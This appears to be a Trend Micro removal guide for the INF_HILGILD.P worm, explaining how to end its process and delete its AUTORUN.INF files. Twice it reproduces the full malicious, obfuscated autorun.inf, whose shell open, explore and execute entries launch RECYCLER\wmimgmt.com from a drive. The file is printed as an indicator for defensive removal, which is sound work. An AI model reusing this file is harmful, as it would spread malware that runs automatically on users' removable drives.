INF_HILGILD.P

To terminate the malware/grayware/spyware process:

1. Scan your computer with your Trend Micro product and take note of the name of the malware/grayware/spyware detected.
2. Open Windows Task Manager. To do this, press CTRL+SHIFT+ESC.
3. View the list of all running programs. To do this:
   • For Windows 2000, XP, Server 2003, Vista, 7 and Server 2008 users, click the Processes tab.
   • For Windows 8, 8.1 and Server 2012 users, click the Details tab.
4. In the list of running programs, locate a malware/grayware/spyware file detected earlier.
5. Select the detected files, then press either the End Task or the End Process button, depending on the version of Windows you are using.
6. Do the same for the remaining detected malware/grayware/spyware files in the list of running programs.
7. To check if the malware/grayware/spyware process has been terminated, close Task Manager, and then open it again.
8. Close Task Manager.

To identify and delete AUTORUN.INF files created:

For Windows 2000, Windows XP, and Windows Server 2003:

1. Right-click the Start button then choose Search... or Find..., depending on the version of Windows you are running.
2. In the File name* input box, type:
   AUTORUN.INF
3. In the Look in: drop-down list, select a drive, then press Enter.
4. Select the file, then open using Notepad.
5. Check if the following lines are present in the file:
   

   ; for 16-bit app support
   [extensions]
   [fonts]
   [mci extensions]
   [Mail]
   [files]
   mpeg=MPEGVideo
   snd=atl.dll
   wm=mcd32.dll
   wma=MP4
   wmp=MP3MAPI=1
   MAPIX=1
   MAPIXVER=1.0.0.1
   OLEMessaging=1
   CMCDLLNAME32=mapi32.dll
   CMC=1
   [MCI Extensions]
   aif=loghours.dll
   aiff=ole2.dll
   asf=d3dramp.dll
   aifc=psnppagn.dll
   asx=MPEGVideo2
   mpe=usrdtea.dll
   mpg=MPEGVideo
   mpv2=idq.dll
   wmv=MPEG
   wmx=MPEGVideo32
   251846kfi56s
   ;cc30qiLas   JdZ3adCjPadf823423423
   [Kasasf0q]iLasdfKD28Ls33wDmrq6Jl1EdAf8
   ;K0qi asfLasmet Ca19lhs ipconfidfjKD28 mpeg Ls33
   ;8sdaA89K3J0DSKJLG8P4Ld0laH saG
   [shellas]dBop1caomasdnhsdf=fdsjsdf.exenghasadnetstad.
   as=asdfash0ffsad asd1safsdf9safdasf
   ;ff0qiLasfJdKPEGVi2412344
   oaeFK1Kajkw6DdD3L2f3a31zazi8a135Lwra
   Ls33wDm2rqJl31EdAf8soae   FK1KajkwDdDLKAl6sdcO7K
   asdfs3adfLafdsfadsdm   FKaj3kw6Al6sdcO7K
   ;K0qi65aa3sJZ3adCsa1sdfjKD32asddfasdf
   ;K0qiLa1Kajkw845rthgK2f33a21zazi8a35Lwra
   [   autorun  
   K0qi3a3dCa19lsdfjKD2asfd323asdfsdfa
   PRINT=PRINT.EXE ASDd938daf897asdj
   ;[asfd3]2KdafjKD2
   Play= Copy pictures to a foler on my computer
   shEllEXEcuTe   = RECyCLER\wmimgmt.com
   ;8sdaA38G8P343LklJ8ASD  FL3333sd0laHsa3G12fgsdsaKd
   sheLL\oPeN\coMManD =RECYCLER\wmimgmt.com
   ;343P5gd2fKgCOMNANDASDF=REC   R5gf56sd315eK592AdsSD
   ;89234SAKDJWKsatyh3adaflk7yas
   ;343P5F  25F5gf56sd315eK56fs43d4asd56KdaDfs1
   shELl\ExpLore\ComMand= RECYCLER\wmimgmt.com
   s=asfdsa5dfafdAf8soaeFExpLoreqiLasJ8Z3adC
   ;89234AKfdk28ASDFsaaty7ysK6DRg    if5S3jsHks
   Action=Open folder to view files
   ;8k3kKsafG       ASDFdlsflK3a23F4jksfa5F3J90s
   ;f0PEG3ideoqiLasJd9Z3adCa319lhsdfjKD3223adfasfd
   Spell=Take no action then print the picture
   
   [mci]
   woafont=app936.FON
   EGA40WOA.FON=EGA40WOA.FON
   [386enh]
   EGA51WOA.FON=KBDDSP.FON
   [drivers]
   wave=mmdrv.dll
   [driver32]
   timer=timer.drv

6. If the lines are present, delete the file.
7. Repeat steps 3 to 6 for the remaining AUTORUN.INF files in other remaining removable drives.
8. Close Search Results.

For Windows Vista, Windows 7, Windows Server 2003, Windows 8, Windows 8.1, and Windows Server 2012:

1. Open a Windows Explorer window.
   • For Windows Vista, 7, and Server 2008 users, click Start>Computer.
   • For Windows 8, 8.1, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
2. In the Search Computer/This PC input box, type:
   AUTORUN.INF
3. Select the file, then open using Notepad.
4. Check if the following lines are present in the file:
   

   ; for 16-bit app support
   [extensions]
   [fonts]
   [mci extensions]
   [Mail]
   [files]
   mpeg=MPEGVideo
   snd=atl.dll
   wm=mcd32.dll
   wma=MP4
   wmp=MP3MAPI=1
   MAPIX=1
   MAPIXVER=1.0.0.1
   OLEMessaging=1
   CMCDLLNAME32=mapi32.dll
   CMC=1
   [MCI Extensions]
   aif=loghours.dll
   aiff=ole2.dll
   asf=d3dramp.dll
   aifc=psnppagn.dll
   asx=MPEGVideo2
   mpe=usrdtea.dll
   mpg=MPEGVideo
   mpv2=idq.dll
   wmv=MPEG
   wmx=MPEGVideo32
   251846kfi56s
   ;cc30qiLas   JdZ3adCjPadf823423423
   [Kasasf0q]iLasdfKD28Ls33wDmrq6Jl1EdAf8
   ;K0qi asfLasmet Ca19lhs ipconfidfjKD28 mpeg Ls33
   ;8sdaA89K3J0DSKJLG8P4Ld0laH saG
   [shellas]dBop1caomasdnhsdf=fdsjsdf.exenghasadnetstad.
   as=asdfash0ffsad asd1safsdf9safdasf
   ;ff0qiLasfJdKPEGVi2412344
   oaeFK1Kajkw6DdD3L2f3a31zazi8a135Lwra
   Ls33wDm2rqJl31EdAf8soae   FK1KajkwDdDLKAl6sdcO7K
   asdfs3adfLafdsfadsdm   FKaj3kw6Al6sdcO7K
   ;K0qi65aa3sJZ3adCsa1sdfjKD32asddfasdf
   ;K0qiLa1Kajkw845rthgK2f33a21zazi8a35Lwra
   [   autorun  
   K0qi3a3dCa19lsdfjKD2asfd323asdfsdfa
   PRINT=PRINT.EXE ASDd938daf897asdj
   ;[asfd3]2KdafjKD2
   Play= Copy pictures to a foler on my computer
   shEllEXEcuTe   = RECyCLER\wmimgmt.com
   ;8sdaA38G8P343LklJ8ASD  FL3333sd0laHsa3G12fgsdsaKd
   sheLL\oPeN\coMManD =RECYCLER\wmimgmt.com
   ;343P5gd2fKgCOMNANDASDF=REC   R5gf56sd315eK592AdsSD
   ;89234SAKDJWKsatyh3adaflk7yas
   ;343P5F  25F5gf56sd315eK56fs43d4asd56KdaDfs1
   shELl\ExpLore\ComMand= RECYCLER\wmimgmt.com
   s=asfdsa5dfafdAf8soaeFExpLoreqiLasJ8Z3adC
   ;89234AKfdk28ASDFsaaty7ysK6DRg    if5S3jsHks
   Action=Open folder to view files
   ;8k3kKsafG       ASDFdlsflK3a23F4jksfa5F3J90s
   ;f0PEG3ideoqiLasJd9Z3adCa319lhsdfjKD3223adfasfd
   Spell=Take no action then print the picture
   
   [mci]
   woafont=app936.FON
   EGA40WOA.FON=EGA40WOA.FON
   [386enh]
   EGA51WOA.FON=KBDDSP.FON
   [drivers]
   wave=mmdrv.dll
   [driver32]
   timer=timer.drv

5. If the lines are present, delete the file.
6. Repeat steps 3 to 5 for the remaining AUTORUN.INF files in other remaining removable drives.
7. Close Search Results.